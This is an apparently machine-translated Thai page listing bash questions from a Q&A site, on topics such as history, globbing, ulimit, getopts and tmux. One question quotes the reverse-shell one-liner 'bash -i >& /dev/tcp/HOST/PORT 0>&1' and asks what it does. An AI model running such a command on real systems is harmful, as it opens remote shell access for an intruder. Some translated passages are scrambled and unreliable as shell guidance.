คำถามติดแท็ก bash

คำถามเฉพาะของ Bourne อีกครั้งของเชลล์ใน GNU เมื่อเทียบกับเชลล์ Bourne / POSIX อื่น ๆ สำหรับคำถามเกี่ยวกับเชลล์ Unix โดยทั่วไปให้ใช้ / เชลล์แท็กแทน

1
วิธีรับรายการประวัติเพื่อแสดงอย่างถูกต้องในหลายบรรทัด
สมมติว่าฉันได้เข้าฟังก์ชั่นที่ bash prompt, ในหลาย ๆ บรรทัดแทนที่จะบีบมันลงบนอันเดียวด้วย semicolons: $ function blah { echo blah } $ history -1 12690 function blah {\necho blah\n} จะให้แสดงด้วยอักขระบรรทัดใหม่จริงแทนที่จะเป็น '\ n' ได้อย่างไร

3
รายการที่มี `ls 'และนิพจน์ทั่วไป
ฉันจะแสดงรายการไฟล์ที่มีชื่อไฟล์ซึ่งลงท้ายด้วยอักขระตัวสุดท้ายและ.txtนามสกุลได้อย่างไร ฉันได้พยายามls *+([[:digit:]]).txtแต่นี้เป็นจริงสำหรับและabc12.txtabc2.txt abc2.txtแต่ผมจำเป็นต้องได้รับเท่านั้น ฉันจะทำสิ่งนั้นได้อย่างไร มีรูปแบบใด:digit:ที่จะทำเช่นนี้?
15 bash  wildcards 

2
ulimit PICKLE:“ ไม่อนุญาตให้ใช้งาน” และ“ ไม่พบคำสั่ง”
ฉันพยายามเพิ่มจำนวนไฟล์ที่เปิดสูงสุดสำหรับผู้ใช้ปัจจุบัน > ulimit -n 1024 ฉันพยายามเพิ่มและล้มเหลวดังนี้ > ulimit -n 4096 bash: ulimit: open files: cannot modify limit: Operation not permitted ดังนั้นฉันจึงทำสิ่งที่เป็นธรรมชาติและพยายามเรียกใช้โดยได้รับอนุญาตจาก temp แต่ล้มเหลว > sudo ulimit -n 4096 sudo: ulimit: command not found คำถาม วิธีเพิ่ม ulimit? ทำไมสิ่งนี้จึงเกิดขึ้น ใช้ Fedora 14
15 bash  fedora  sudo  limit 

1
ค้นหาว่าสคริปต์ใดที่ถูกเรียกใช้โดยการทุบตีเมื่อเริ่มต้น
หลังจากเริ่มต้น bash terminal ฉันสังเกตเห็นว่าตัวแปร PATH มีรายการที่ซ้ำกัน ขั้วของฉันเริ่มต้นเปลือกเข้าสู่ระบบเพื่อให้~/.bash_profileมีที่มาตามด้วยและ~/.profile ~/.bashrcใน~/.profileฉันจะสร้างรายการเส้นทางที่ซ้ำกัน นี่คือลำดับที่ไฟล์ที่ควรจะมีแหล่งที่มาจะถูกแหล่งที่มา: Sourced /etc/profile Sourced /etc/bash.bashrc Sourced .bash_profile Sourced .profile Sourced .bashrc ก่อนที่ทุกคนจะทำเครื่องหมายสิ่งนี้ว่าเป็น "สำเนาของตัวแปร PATH ที่มีรายการซ้ำ" โปรดอ่านต่อไป ตอนแรกฉันคิดว่าสิ่งนี้เกี่ยวข้องกับ~/.profileการจัดหาแหล่งข้อมูลสองครั้งดังนั้นฉันจึงเขียนไฟล์ลงในไฟล์บันทึกเมื่อใดก็ตามที่มีแหล่งที่มาและน่าประหลาดใจที่มีการบันทึกเพียงหนึ่งรายการ ยิ่งน่าแปลกใจคือความจริงที่ว่าเมื่อผมแสดงความคิดเห็นออกรายการที่อยู่ใน~/.profileรายการยังคงปรากฏในPATHตัวแปร สิ่งนี้ทำให้ฉันมีข้อสรุปสามประการซึ่งหนึ่งในนั้นถูกตัดออกอย่างรวดเร็ว: Bash ละเว้นความคิดเห็น bash ที่ถูกต้องและยังคงดำเนินการรหัสความคิดเห็น มีสคริปต์ที่อ่าน~/.profileและไม่สนใจรหัสใด ๆ ที่พิมพ์เอาต์พุต (ตัวอย่างเช่นล็อกไฟล์) มีอีกฉบับหนึ่งของฉัน~/.profileที่กำลังถูกหาที่อื่น อันแรกฉันสรุปได้อย่างรวดเร็วว่าไม่ใช่เพราะการทดสอบที่รวดเร็ว ตัวเลือกที่สองและสามเป็นสิ่งที่ฉันต้องการความช่วยเหลือ ฉันจะรวบรวมบันทึกสคริปต์ที่ดำเนินการได้อย่างไรเมื่อเทอร์มินัลเริ่มทำงาน ฉันใช้echoในไฟล์ที่ฉันตรวจสอบเพื่อทราบว่าไฟล์เหล่านั้นมาจากการทุบตีหรือไม่ แต่ฉันต้องหาวิธีการสรุปที่ติดตามการดำเนินการถึงจุดเมื่อเทอร์มินัลพร้อมให้ฉันเริ่มพิมพ์มัน ถ้าข้างต้นเป็นไปไม่ได้แล้วทุกคนสามารถแนะนำที่อื่นฉันสามารถมองเพื่อดูว่าสคริปต์จะถูกเรียกใช้ การอ้างอิงในอนาคต นี่คือสคริปต์ที่ฉันใช้ในการเพิ่มเส้นทางของฉัน: function add_to_path() { for path in …
15 bash  profile 

4
เอาต์พุต FIND สี
เป็นไปได้หรือไม่ที่จะได้รับเอาต์พุตสีจากคำสั่งfind ? นั่นคือในเส้นทางของรายการที่พบแต่ละไดเรกทอรีเป็นสีน้ำเงินสคริปต์ที่ปฏิบัติการได้เป็นสีเขียวและอื่น ๆ ฉันใช้เวอร์ชัน 4.4.2 ของfindutils GNU แก้ไข - หากต้องการชี้แจงแต่ละผลลัพธ์จะถูกเน้นเช่นนี้: ./path/to/file.sh ^ ^ ^ | | L green blue (ถ้าเช่นการดำเนินการfind . -type f)
15 bash  find  colors 

3
Bash เกิดข้อผิดพลาดบรรทัดที่ 8: $ 1: ตัวแปรที่ไม่ถูกผูก
ฉันพยายามที่จะเรียนรู้วิธีใช้ getopts เพื่อที่ฉันจะได้สคริปต์ที่มีการวิเคราะห์คำ (แม้ว่าฉันคิดว่า getopts น่าจะดีกว่า) ฉันพยายามเขียนสคริปต์ง่าย ๆ เพื่อคืนค่าเปอร์เซ็นต์การใช้งานพาร์ติชัน ปัญหาคือว่าหนึ่งในฟังก์ชั่นทุบตีของฉันดูเหมือนจะไม่ชอบที่ฉันอ้างอิง$1เป็นตัวแปรภายในฟังก์ชั่น เหตุผลที่ฉันอ้างอิง$1เป็นเพราะget_percentฟังก์ชั่นสามารถส่งผ่านจุดเมานท์เป็นอาร์กิวเมนต์เพิ่มเติมเพื่อแสดงแทนจุดเมานท์ทั้งหมด สคริปต์ #!/usr/bin/bash set -e set -u set -o pipefail get_percent(){ if [ -n "$1" ] then df -h $1 | tail -n +2 | awk '{ print $1,"\t",$5 }' else df -h | tail -n +2 | awk '{ …

1
ความหมายของ bash -i> & / dev / tcp / HOST / PORT 0> & 1?
ฉันเหนื่อย bash -i >& /dev/tcp/HOST/PORT 0>&1 แต่ดูเหมือนจะไม่ทำงานหลังไฟร์วอลล์ รหัสนี้จะทำอะไรจริง ๆ แล้วพอร์ตใดที่ถูกส่งต่อและสามารถทำงานได้หลังไฟร์วอลล์

1
ฉันจะตอบ y โดยอัตโนมัติในสคริปต์ทุบตีได้อย่างไร
ฉันต้องการถอนการติดตั้งโปรแกรมผ่านสคริปต์ทุบตี หลังจากฉันรันคำสั่งเทอร์มินัลจะถามฉันว่าฉันแน่ใจหรือไม่ว่าต้องการถอนการติดตั้ง yดังนั้นผมจึงจำเป็นต้องตอบ ฉันต้องการที่จะทำมันโดยอัตโนมัติและตอบyหลังจากล่าช้า 10 วินาที ฉันทำตัวอย่างนี้ แต่มันไม่ทำงาน - #!/usr/bin /opt/MNG/MNGVIEWHP/fe/uninstall sleep 10 echo "y" ความคิดใด ๆ Centos 7.2
15 bash 

7
bash loop ผ่านรายการของสตริง
เป็นไปได้หรือไม่ที่จะจัดรูปแบบตัวอย่างนี้: for i in string1 string2 stringN do echo $i done สิ่งที่คล้ายกับนี้: for i in string1 string2 stringN do echo $i done แก้ไข: ขออภัยในความสับสนไม่ทราบว่ามีวิธีการดำเนินการสคริปต์ที่แตกต่างกัน - sh <scriptname>เทียบกับbash <scriptname>และสิ่งที่ฉันไม่สามารถตั้งชื่อได้ตอนนี้ - #!/bin/shและ#!/bin/bash:)

2
ตั้งค่าสีแท็บ tmux ที่แอ็คทีฟ
เป็นไปได้หรือไม่ที่จะเปลี่ยนพื้นหลังของแท็บ tmux ปัจจุบัน (ปัจจุบัน)? ฉันใช้tmux 1.9บน Ubuntu 15.04 $ tmux -V tmux 1.9 ฉันพยายามทำ: set-option -g pane-active-border-fg red แต่ผลลัพธ์ไม่เปลี่ยนแปลง: ฉันคาดว่า3-bash*จะมีพื้นหลังสีแดง

1
เหตุใดฉันจึงต้องแทรก 12 อักขระเพื่อล้างบรรทัดคำสั่ง bash นี้
ฉันเปิดสถานี xterm (80 คอลัมน์ x 24 สาย) จากนั้นก็วิ่ง$ bash --norc --noprofileแล้ว$ ttyจะได้รับชื่อไฟล์ของขั้ว: /dev/pts/9ออกเป็น จากเทอร์มินัลอื่นฉันรัน: $ printf foo >/dev/pts/9 fooถูกพิมพ์ลงบนบรรทัดคำสั่งของเชลล์ในเทอร์มินัลแรก หากฉันกดC-uเพื่อเรียกใช้unix-line-discard(ชื่อฟังก์ชั่นที่กำหนดโดย$ bind -P | grep -i c-u) fooจะไม่ถูกลบออก ถ้าผมใส่ 11 ช่องว่างและกดC-uช่องว่างจะถูกลบออก fooแต่ไม่ ถ้าผมใส่ 12 ช่องว่างและกดช่องว่างจะถูกลบออกเช่นเดียวกับC-ufoo ทำไมฉันไม่สามารถลบออกได้fooเมื่อฉันกดC-uในขณะที่เคอร์เซอร์อยู่ข้างหลังและทำไมฉันต้องแทรก 12 ตัวอักษรเพื่อลบออก? สิ่งแวดล้อม: $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: …

3
ทำไม systemctl \ {restart, status} \ sshd \; งาน?
เอาต์พุตของคำสั่งด้านบนเมื่อส่งผ่าน echo คือ: # echo systemctl\ {restart,status}\ sshd\; systemctl restart sshd; systemctl status sshd; แม้ว่าฉันจะวางเอาต์พุตไปที่เทอร์มินัลก็ตาม แต่เมื่อฉันพยายามเรียกใช้คำสั่งโดยตรงฉันจะได้รับ: # systemctl\ {restart,status}\ sshd\; bash: systemctl restart sshd;: command not found... ฉันมีสองคำถาม .. วิธีการทดแทนและการขยายตัวนี้เรียกว่าอะไรกันแน่? (เพื่อให้ฉันสามารถค้นคว้าและเรียนรู้เพิ่มเติมเกี่ยวกับมันและวิธีการใช้อย่างถูกต้อง) ฉันทำอะไรผิดที่นี่ ทำไมมันไม่ทำงาน

2
สัญญาณ EXIT, DEBUG, RETURN และ ERR หรือไม่
trapbuiltin ในทุบตีมีไวยากรณ์ต่อไป trap [-lp] [arg] [sigspec ...] ... แต่ละsigspecชื่ออาจเป็นชื่อสัญญาณหรือหมายเลขสัญญาณ ชื่อสัญญาณไม่คำนึงถึงขนาดตัวพิมพ์และส่วนนำหน้า SIG เป็นทางเลือก ... จุดคู่มือทุบตีให้เห็นว่าsigspecสามารถEXIT, DEBUG, และRETURN ERRพวกเขาชื่อสัญญาณหรือไม่ ทำไมฉันไม่พบพวกเขาในรายการชื่อสัญญาณทั้งหมดที่ระบุด้านล่างแม้จะเพิ่มคำนำหน้าSIGให้ พวกมันเกี่ยวข้องกับ bash shells เท่านั้น แต่ไม่ใช่กับ Linux OS? พวกเขาทุบเปลือกสัญญาณ แต่ไม่ใช่สัญญาณ Linux OS หรือไม่? $ trap -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) …
14 bash  signals 

1
พฤติกรรมที่แตกต่างกันของ cd ที่มีหลายอาร์กิวเมนต์ใน bash release
โพสต์ไว้ที่นี่สิ่งที่ทำให้ฉันงงงวย; การอัพเกรดแอปพลิเคชันเซิร์ฟเวอร์จาก Jessie เป็น Stretch ทำให้bashสคริปต์เสียหาย เมื่อทำการตรวจสอบเราได้ จำกัด ให้เป็นการเปลี่ยนแปลงพฤติกรรมของcdคำสั่ง ฉันไม่ได้พูดถึงที่นี่หากสิ่งที่สคริปต์กำลังทำอยู่เป็นความคิดที่ดีหรือหากสามารถปรับปรุงได้ เจสซี $echo *-* xxxx-1.0b xxxx-run $cd *-* cd ทำงานและซีดีไปยังไดเรกทอรีแรก; จริงๆแล้ว * -run เป็นลิงค์สัญลักษณ์ไปยังไดเรกทอรีเดียวกัน ยืด $echo *-* xxxx-1.0b xxxx-run $cd *-* bash: cd: too many arguments bash คือ 4.3.30 (1) ใน Jessie และ 4.4.12 (1) ใน Stretch ทำไมการเปลี่ยนแปลงพฤติกรรมระหว่างเจสซีกับยืด?
14 bash  cd-command 

3
ท่อ B ถึง D? - A&& B || C | D
มีวิธีการเขียนโครงสร้างคำสั่งอีกครั้งA && B || C | Dเพื่อให้ B หรือ C ถูกไพพ์ลงใน D หรือไม่? ด้วยคำสั่งปัจจุบันเพียง B หรือทั้ง C และ D จะทำงาน ตัวอย่างเช่น:
14 bash  pipe 

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.